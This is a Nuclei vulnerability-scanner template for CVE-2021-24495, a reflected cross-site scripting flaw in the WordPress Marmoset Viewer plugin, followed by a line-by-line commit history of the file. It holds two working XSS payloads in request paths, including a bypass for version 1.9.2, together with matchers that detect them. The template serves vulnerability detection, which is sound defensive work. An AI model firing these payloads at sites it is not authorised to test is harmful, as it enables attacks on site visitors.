nuclei-templates/http/cves/2021/CVE-2021-24495.yaml

id: CVE-2021-24495

info:
  name: Wordpress Marmoset Viewer <1.9.3 - Cross-Site Scripting
  author: johnjhacking
  severity: medium
  description: WordPress Marmoset Viewer plugin before 1.9.3 contains a cross-site scripting vulnerability. It does not property sanitize, validate, or escape the 'id' parameter before outputting back in the page.
  remediation: |
    Update the Wordpress Marmoset Viewer plugin to version 1.9.3 or later to mitigate the vulnerability.
  reference:
    - https://johnjhacking.com/blog/cve-2021-24495-improper-neutralization-of-input-during-web-page-generation-on-id-parameter-in-wordpress-marmoset-viewer-plugin-versions-1.9.3-leads-to-reflected-cross-site-scripting/
    - https://wordpress.org/plugins/marmoset-viewer/#developers
    - https://wpscan.com/vulnerability/d11b79a3-f762-49ab-b7c8-3174624d7638
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24495
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24495
    cwe-id: CWE-79
    epss-score: 0.00116
    epss-percentile: 0.45049
    cpe: cpe:2.3:a:marmoset:marmoset_viewer:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: marmoset
    product: marmoset_viewer
    framework: wordpress
  tags: xss,wpscan,cve,cve2021,wp-plugin,wordpress,intrusive

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/marmoset-viewer/mviewer.php?id=http://</script><svg/onload=alert(%27{{randstr}}%27)>"
      - "{{BaseURL}}/wp-content/plugins/marmoset-viewer/mviewer.php?id=1+http://a.com%27);alert(/{{randstr}}/);marmoset.embed(%27a"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - </script><svg/onload=alert('{{randstr}}')>
          - alert(/{{randstr}}/)
        condition: or

      - type: word
        words:
          - Marmoset Viewer

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100b53eb0141a9dd2fcee5589812701b17fd9e68434aa5d0dc98b9c86a219f05bd8022061593a3e1be325f71fb61336a1ec6f5fff9cfc0ecf79a8c83a7807286ae8563b:922c64590222798bb761d5b6d8e72950
Template Name/ID update as per assigned CVE 2021-07-06 06:37:53 +00:00			`id: CVE-2021-24495`
Add Marmoset Viewer XSS Vulnerability Reference: https://wordpress.org/plugins/marmoset-viewer/#developers 2021-06-30 07:12:12 +00:00
			`info:`
Dashboard Content Enhancements (#5242) Dashboard Content Enhancements 2022-08-29 13:55:23 +00:00			`name: Wordpress Marmoset Viewer <1.9.3 - Cross-Site Scripting`
Add Marmoset Viewer XSS Vulnerability Reference: https://wordpress.org/plugins/marmoset-viewer/#developers 2021-06-30 07:12:12 +00:00			`author: johnjhacking`
			`severity: medium`
Dashboard Content Enhancements (#5242) Dashboard Content Enhancements 2022-08-29 13:55:23 +00:00			`description: WordPress Marmoset Viewer plugin before 1.9.3 contains a cross-site scripting vulnerability. It does not property sanitize, validate, or escape the 'id' parameter before outputting back in the page.`
Updated 2021 CVEs 2023-09-06 12:09:01 +00:00			`remediation: \|`
			`Update the Wordpress Marmoset Viewer plugin to version 1.9.3 or later to mitigate the vulnerability.`
Removed pipe (\|) character from references, because the structure requires it to be a string slice, not a string Related nuclei tickets: * #259 - dynamic key-value field support for template information * #940 - new infos in template * #834 * RES-84 2021-08-18 11:37:49 +00:00			`reference:`
Satisfying the linter (all errors and warnings) * whitespace modifications only 2021-08-19 14:44:46 +00:00			`- https://johnjhacking.com/blog/cve-2021-24495-improper-neutralization-of-input-during-web-page-generation-on-id-parameter-in-wordpress-marmoset-viewer-plugin-versions-1.9.3-leads-to-reflected-cross-site-scripting/`
			`- https://wordpress.org/plugins/marmoset-viewer/#developers`
additional reference to cves templates (#4395) * additional reference to cves templates * Update CVE-2006-1681.yaml * Update CVE-2009-3318.yaml * Update CVE-2009-4223.yaml * Update CVE-2010-0942.yaml * Update CVE-2010-0944.yaml * Update CVE-2010-0972.yaml * Update CVE-2010-1304.yaml * Update CVE-2010-1308.yaml * Update CVE-2010-1313.yaml * Update CVE-2010-1461.yaml * Update CVE-2010-1470.yaml * Update CVE-2010-1471.yaml * Update CVE-2010-1472.yaml * Update CVE-2010-1474.yaml * removed duplicate references * misc fix Co-authored-by: Prince Chaddha <prince@projectdiscovery.io> Co-authored-by: Prince Chaddha <cyberbossprince@gmail.com> 2022-05-17 09:18:12 +00:00			`- https://wpscan.com/vulnerability/d11b79a3-f762-49ab-b7c8-3174624d7638`
Dashboard Content Enhancements (#5242) Dashboard Content Enhancements 2022-08-29 13:55:23 +00:00			`- https://nvd.nist.gov/vuln/detail/CVE-2021-24495`
Added cve annotations + severity adjustments 2021-09-10 11:26:40 +00:00			`classification:`
			`cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N`
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes 2022-04-22 10:38:41 +00:00			`cvss-score: 6.1`
Added cve annotations + severity adjustments 2021-09-10 11:26:40 +00:00			`cve-id: CVE-2021-24495`
			`cwe-id: CWE-79`
Added CPE and EPSS Score to CVE Templates 2023-04-12 10:55:48 +00:00			`epss-score: 0.00116`
TemplateMan Update [Wed Oct 25 17:36:18 UTC 2023] :robot: 2023-10-25 17:36:19 +00:00			`epss-percentile: 0.45049`
Updated 2021 CVEs 2023-09-06 12:09:01 +00:00			`cpe: cpe:2.3:a:marmoset:marmoset_viewer::::::wordpress::*`
Added max request counter of each template 2023-04-28 08:11:21 +00:00			`metadata:`
			`max-request: 2`
CVE Enrichment :tada: 2023-07-11 19:49:27 +00:00			`vendor: marmoset`
			`product: marmoset_viewer`
Updated 2021 CVEs 2023-09-06 12:09:01 +00:00			`framework: wordpress`
CVE Enrichment :tada: 2023-07-11 19:49:27 +00:00			`tags: xss,wpscan,cve,cve2021,wp-plugin,wordpress,intrusive`
Add Marmoset Viewer XSS Vulnerability Reference: https://wordpress.org/plugins/marmoset-viewer/#developers 2021-06-30 07:12:12 +00:00
Refactoring the directory structure based on protocols (#7137) * moving http templates * updated cves.json * moved network CVEs * updated scripts * updated workflows * updated requests to http * replaced network to tcp --------- Co-authored-by: sandeep <8293321+ehsandeep@users.noreply.github.com> 2023-04-27 04:28:59 +00:00			`http:`
Add Marmoset Viewer XSS Vulnerability Reference: https://wordpress.org/plugins/marmoset-viewer/#developers 2021-06-30 07:12:12 +00:00			`- method: GET`
			`path:`
misc changes 2021-06-30 12:54:34 +00:00			`- "{{BaseURL}}/wp-content/plugins/marmoset-viewer/mviewer.php?id=http://</script><svg/onload=alert(%27{{randstr}}%27)>"`
Added bypass for 1.9.2 Another payload was identified, as a bypass in version 1.9.2. This bypass caused the vendor to upgrade to 1.9.3 I have added the bypass and the matcher above. Let me know what you think. 2021-07-06 00:39:25 +00:00			`- "{{BaseURL}}/wp-content/plugins/marmoset-viewer/mviewer.php?id=1+http://a.com%27);alert(/{{randstr}}/);marmoset.embed(%27a"`
Template Name/ID update as per assigned CVE 2021-07-06 06:37:53 +00:00
Add Marmoset Viewer XSS Vulnerability Reference: https://wordpress.org/plugins/marmoset-viewer/#developers 2021-06-30 07:12:12 +00:00			`matchers-condition: and`
			`matchers:`
			`- type: word`
			`part: body`
CVE Enrichment :tada: 2023-07-11 19:49:27 +00:00			`words:`
			`- </script><svg/onload=alert('{{randstr}}')>`
			`- alert(/{{randstr}}/)`
condition update as per new bypass 2021-07-06 06:33:51 +00:00			`condition: or`

			`- type: word`
			`words:`
CVE Enrichment :tada: 2023-07-11 19:49:27 +00:00			`- Marmoset Viewer`

			`- type: status`
			`status:`
			`- 200`
Auto Template Signing [Thu Oct 26 05:41:51 UTC 2023] :robot: 2023-10-26 05:41:51 +00:00			`# digest: 4a0a00473045022100b53eb0141a9dd2fcee5589812701b17fd9e68434aa5d0dc98b9c86a219f05bd8022061593a3e1be325f71fb61336a1ec6f5fff9cfc0ecf79a8c83a7807286ae8563b:922c64590222798bb761d5b6d8e72950`